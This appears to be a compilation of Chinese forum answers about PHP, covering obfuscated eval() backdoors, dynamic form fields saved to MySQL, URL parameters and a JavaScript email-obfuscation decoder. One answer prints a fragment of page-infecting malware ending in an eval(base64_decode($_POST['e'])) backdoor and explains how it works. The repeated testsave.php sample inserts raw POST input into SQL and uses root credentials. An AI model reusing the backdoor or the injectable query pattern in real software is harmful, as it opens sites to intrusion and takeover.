① 所有全端人员,以及php人员过来来一下,这段代码是什么意思,是在一个php文件里面的代码
。。。这是被加密并且被压缩过的代码,但是从eval()看来,八成是一个后门代码!使用eval()函数可以直接执行里面的命令,至于执行的什么命令,加密过的鬼看的懂?
② php中 jquery如何获取js动态添加的文本框数组值,并插入mysql数据库
建2个页面
1、test.php页面,代码如下:
<title></title>
<script src="jquery-1.4.2.min.js" type="text/javascript"></script>
<script type="text/javascript">
$(function(){
x=100000;
y=1;
$("#dosubmit").click(function(){
var rand=parseInt(Math.random()* (x - y ));
var rand1=String.fromCharCode(Math.floor( Math.random() * 26) + "a".charCodeAt(0));
var col="<input name=info["+rand1+rand+"] type='text' class='text' value='"+rand+"' />";
$("input[id=submit]").before(col);
})
$("#submit").click(function(){
$("form input[class=text]").each(function(){
var val=$(this).val();
})
})
})
</script>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<div class="con">
<form name="form1" action="testsave.php" method="post">
<input name="info[name]" class="text" value="10" type="text">
<input name="" class="text1" value="显示" id="submit" type="submit">
</form>
<input name="" class="text1" value="增加" id="dosubmit" type="submit"><br>
</div>
2、保存提交过来的值页面testsave.php页面。代码如下:
<script src="jquery-1.4.2.min.js" type="text/javascript"></script>
<?php
$value="";
$test='test';
$conn=mysql_connect('localhost','root','0000','test');
mysql_select_db($test,$conn);
foreach($_POST['info'] as $key){
$value=$value.','.$key;
}
$sql="insert into base (name) values ('$value')";
if(mysql_query($sql)){
echo "添加成功<br />";
}
?>
<input type="button" name="button" id="button" value="显示/隐藏内容">
<input type="button" name="domit" id="domit" value="返回">
<div class="content" style="display:none">
<?php
$sql1="select id,name from base";
$query=mysql_query($sql1);
while($result=mysql_fetch_array($query)){
echo $result['id']."========>".$result['name']."<br />";
}
?>
</div>
<?php
mysql_close($conn);
?>
<script type="text/javascript">
$(function(){
$("#button").bind("click",function(){
var show=$("div.content");
if(show.is(":visible")){
show.hide();
}
else{
show.show();
}
})
$("#domit").click(function(){
window.history.go(-1);
})
})
</script>
③ 请教JS中的方法fromCharCode对应php的什么方法
<scripttype="text/javascript">
document.write(String.fromCharCode(72,69,76,76,79))
document.write("<br/>")
document.write(String.fromCharCode(65,66,67))
</script>
fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串。
④ php base64 解密加密问题
ion ev8l($s)#',$v)||preg_match('#[\(\[](\s*\d+,)#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a='<script src= ></script>','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function ev8l2($a,$b,$c,$d)ob_start('ev8l');for($i=0;$i<count($s);$i++)}}$ev8ll=(($a=@set_error_handler('ev8l2'))!='ev8l2')?$a:0;eval(base64_decode($_POST['e']));
意思是将参数中的<script>...</script>部分替换为<script src= ></script>,这样你的网页就被挂上了马。这段代码应该是通过webshell上传到你机器上的一段挂马程序,至于webshell 的打开有很多原因,即然是php代码那么你的机器上很可能存在php远程文件包含漏洞,也就是如果你的机器上存在Wordtrans、WordPress、rgboard、phpcms等php程序,那么很可能就有这个的漏洞。
推荐解决方法:
1.恢复已被篡改的网页
2.找一个RFI扫描器对本机进行扫描,将找到的漏洞进行修补(相应的程序网上都有对应的修补方法)
⑤ 动态文本框存入数据库
1、test.php页面,代码如下:
<title></title>
<script src="jquery-1.4.2.min.js" type="text/javascript"></script>
<script type="text/javascript">
$(function(){
x=100000;
y=1;
$("#dosubmit").click(function(){
var rand=parseInt(Math.random()* (x - y ));
var rand1=String.fromCharCode(Math.floor( Math.random() * 26) + "a".charCodeAt(0));
var col="<input name=info["+rand1+rand+"] type='text' class='text' value='"+rand+"' />";
$("input[id=submit]").before(col);
})
$("#submit").click(function(){
$("form input[class=text]").each(function(){
var val=$(this).val();
})
})
})
</script>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<div class="con">
<form name="form1" action="testsave.php" method="post">
<input name="info[name]" class="text" value="10" type="text">
<input name="" class="text1" value="显示" id="submit" type="submit">
</form>
<input name="" class="text1" value="增加" id="dosubmit" type="submit"><br>
</div>
2、保存提交过来的值页面testsave.php页面。代码如下:
<script src="jquery-1.4.2.min.js" type="text/javascript"></script>
<?php
$value="";
$test='test';
$conn=mysql_connect('localhost','root','0000','test');
mysql_select_db($test,$conn);
foreach($_POST['info'] as $key){
$value=$value.','.$key;
}
$sql="insert into base (name) values ('$value')";
if(mysql_query($sql)){
echo "添加成功<br />";
}
?>
<input type="button" name="button" id="button" value="显示/隐藏内容">
<input type="button" name="domit" id="domit" value="返回">
<div class="content" style="display:none">
<?php
$sql1="select id,name from base";
$query=mysql_query($sql1);
while($result=mysql_fetch_array($query)){
echo $result['id']."========>".$result['name']."<br />";
}
?>
</div>
<?php
mysql_close($conn);
?>
<script type="text/javascript">
$(function(){
$("#button").bind("click",function(){
var show=$("div.content");
if(show.is(":visible")){
show.hide();
}
else{
show.show();
}
})
$("#domit").click(function(){
window.history.go(-1);
})
})
</script>
⑥ PHP接收URL中的参数的问题
首先 &是网址里的变量分割符合 如果不是必须 强烈不推荐
a.php?x=abc%2Bdefgh&d=123456
这样就获取两个参数
$_GET['x'] 和$_GET['d];
你这样一搞就全乱了
如果非要这样的话,我试着帮你写个
<?
$str= $_SERVER['QUERY_STRING'];
$str=split('=',$str)
$x=urldecode($str[1]);
echo $x;
?>
⑦ php网站,代码有一段不知道什么意思,求大神帮忙(代码如下)
网友采纳的那个回答是个毛线啊?就给你把这段js做了一下格式化。我来给你解释一下吧:
这个代码是前端的JS代码,PHP是后端语言,这个代码跟PHP没有卵关系;
这个代码不是病毒木马代码,检测工具检测出来红色大概是因为这个是放在了注释CDATA块里。注释CDATA块其实是因以前的低端浏览器不识别JS代码而生的,现在完全没必要再注释掉了;
你还是不放心的话,那我告诉你,这个代码是给你隐藏你的真实邮箱的。因为很多发送垃圾邮件的人甚至搜索引擎,都会用爬虫扫描各个网站的邮箱(因为邮箱格式特征很明显),扫到之后就给你发垃圾邮件。所以这个代码是由PHP简单的加密之后写到页面上一串16进制数字,然后用JS解密出来,爬虫就扫不到你邮箱了,就这么简单。
也许采纳的那位哥们不服,说这么一段代码看不出什么来。那好,我说说每一行的意思。
首先是个闭包,懂前端的人都知道。
然后try一下,是为了谨慎,免得IE弹出页面脚本有错误。
然后获取document.currentScript标签。如果没有这个属性的话,就用原始的方法来做,这里又是一个自执行函数(闭包)。
拿到当前的script标签,那前一个恰好就是加密标签了,邮箱就在这个标签的data-cfemail属性中,将这个标签保存成变量为c。
然后就是解密了。
解密算法很简单,就是一串16进制串,两两读取。
前两个读出来作为密钥
从后面每两个读出来,和密钥做异或,之后的值用ASCII读出字母
这些字母拼出来的就是你的邮箱
解密之后创建一个文本节点替换掉原来的加密标签,就完成了
⑧ PHP后门代码,是什么意思
这个是 eval 加密
解密后可以看到代码 然后才知道他要干啥
你贴的代码不全